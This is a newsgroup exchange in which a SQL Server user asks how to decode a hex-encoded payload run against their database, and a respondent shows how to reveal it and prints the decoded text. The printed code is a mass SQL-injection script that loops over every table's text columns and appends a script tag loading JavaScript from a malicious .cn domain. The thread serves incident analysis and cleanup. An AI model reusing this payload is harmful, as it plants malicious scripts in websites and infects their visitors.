Great, that's wonderful...Thanks! So this will be easier than I
thought. What that code does is loop through the tables in the
database and try to insert that nasty URL into each table. (Don't
click on that link, by the way.)

So basically, with each one of these things where they did that, I can
just use that select statement and find out what they did.
Awesome...Thanks!

Matthias Klaey wrote:
> anojjona@aol.com wrote:
>
> > Hi,
> > I need to figure out what some code that was maliciously executed
> > against a database does. However, it's in a very strange format. It
> > simply declares a variable and sets it equal to a huge binary thing
> > (seems to be some sort of compiled code) cast as nvarchar. It then
> > executes this variable.
> > Is there any way to decipher or decompile this code? Does anyone
> > have information either on what SQL Server does when it's asked to
> > execute a binary string (as opposed to regular T-SQL) and any tools
> > that can be used to disassemble or understand this code?
> > Thanks!
> >
> > Here's the code:
> >
> > DECLARE @S NVARCHAR(4000);
> > SET
> > @S=CAST(0x44004
>
> [...]
>
> > EXEC(@S);
>
> Hi
>
> Copy the code into a query window for a test datadase, then insted of
> the EXEC(@S) just simply do a
>
> SELECT @S
>
> and look at the result. Here is what I got:
>
> DECLARE @T varchar(255),@C varchar(255)
> DECLARE Table_Cursor CURSOR FOR select a.name,b.name
> from sysobjects a,syscolumns b
> where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or
> b.xtype=231 or b.xtype=167)
>
> OPEN Table_Cursor
> FETCH NEXT FROM Table_Cursor INTO @T,@C
> WHILE(@@FETCH_STATUS=0)
> BEGIN
> exec('update ['+@T+']
> set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''
> <script src=http://www.killwow1.cn/g.js></script>''')
> FETCH NEXT FROM Table_Cursor INTO @T,@C
> END CLOSE Table_Cursor
> DEALLOCATE Table_Cursor
>
> I'm not good enough to understand what this really does, and a lot
> will depend on what is coming down the line from the web site.
>
> But I think you got yourself something nasty, and I would ASAP kill
> this DB and restore from a clean backup.
>
> HTH
> Matthias Kl�y
> --
> www.kcc.ch